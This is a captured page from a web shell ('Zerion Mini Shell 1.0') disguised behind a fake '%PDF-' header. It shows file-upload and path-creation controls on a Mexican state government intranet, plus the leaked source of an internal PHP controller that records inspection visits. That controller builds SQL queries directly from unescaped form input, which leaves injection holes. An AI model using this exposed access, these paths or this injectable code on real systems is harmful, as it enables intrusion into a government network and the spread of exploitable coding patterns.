%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/visitaduria/controller/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/visitaduria/controller/agregar_visita.php

<?php

session_start();
include "../../../config/config.php";
$_SESSION['expire'] = time() + (120 * 60);
$id_usuario = $_SESSION["id_usuario"];

// Recibir y sanitizar inputs
$nombre_visita = isset($_POST['nombre_visita']) ? trim($_POST['nombre_visita']) : '';
$fecha_visita = isset($_POST['fecha_visita']) ? $_POST['fecha_visita'] : '';
$empleados = isset($_POST['empleados']) ? $_POST['empleados'] : [];
$municipio = isset($_POST['municipio']) ? trim($_POST['municipio']) : '';

if (!$nombre_visita || !$fecha_visita || empty($empleados)) {
    die("Faltan datos requeridos.");
}

// Validar archivo PDF subido
if (!isset($_FILES['archivo_pdf']) || $_FILES['archivo_pdf']['error'] !== UPLOAD_ERR_OK) {
    die("Error al subir archivo PDF.");
}

$file = $_FILES['archivo_pdf'];

// Validar tipo MIME y extensión PDF
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);

if ($mime !== 'application/pdf') {
    die("El archivo debe ser un PDF.");
}

// Crear carpeta para guardar archivos si no existe
$uploadDir = '../adjuntos/';
if (!is_dir($uploadDir)) {
    mkdir($uploadDir, 0755, true);
}

// Generar nombre úico para evitar sobreescritura
$nombreArchivo = uniqid('visita_') . '.pdf';
$rutaArchivo = $uploadDir . $nombreArchivo;

// Mover archivo subido
if (!move_uploaded_file($file['tmp_name'], $rutaArchivo)) {
    die("Error al guardar el archivo PDF.");
}

	$conf = new Configuracion();
	$conf->conectarBD();

if (strpos($rutaArchivo, '../') === 0) {
    $rutaArchivo = substr($rutaArchivo, 3); // quita exactamente los primeros 3 caracteres
}
	// insertar visita
	$insertar = "INSERT INTO visitaduria_titulos (titulo,fecha_visita,url_pdf, municipio)
                    VALUES ('$nombre_visita','$fecha_visita','$rutaArchivo', '$municipio');";
    $id_visita = $conf->ultimo_id($insertar);

		//PARTICIPANTES
		$asunto = 'Visitaduria '.$nombre_visita;
		foreach ($empleados as $idEmpleado) {
		    $insertar = "INSERT INTO visitaduria_participantes (id_titulo,id_empleado,firmado)
                    VALUES ($id_visita,$idEmpleado,0);";
            $id_participante = $conf->ultimo_id($insertar);
            
            $sqlhm = "SELECT * FROM tjam_empleados WHERE id = $idEmpleado";
            $rsthm = $conf->consulta($sqlhm);
            $hm = $rsthm[0]["id_visitaduria"];
            
            if($hm == 0){
                $insertar = "UPDATE tjam_empleados SET id_visitaduria='2' WHERE id = $idEmpleado";
                $actualizacion = $conf->actualizacion($insertar);
            }
            
            RegistrarNotificaciones($conf,$asunto,$ip,'sistemas/visitaduria/page_visitaduria.php?noti=1',$id_usuario,$idEmpleado,'label label-green');
		}

	$conf->desconectarDB();


	header("Location: ../page_visitaduria_admin.php");

?>

Zerion Mini Shell 1.0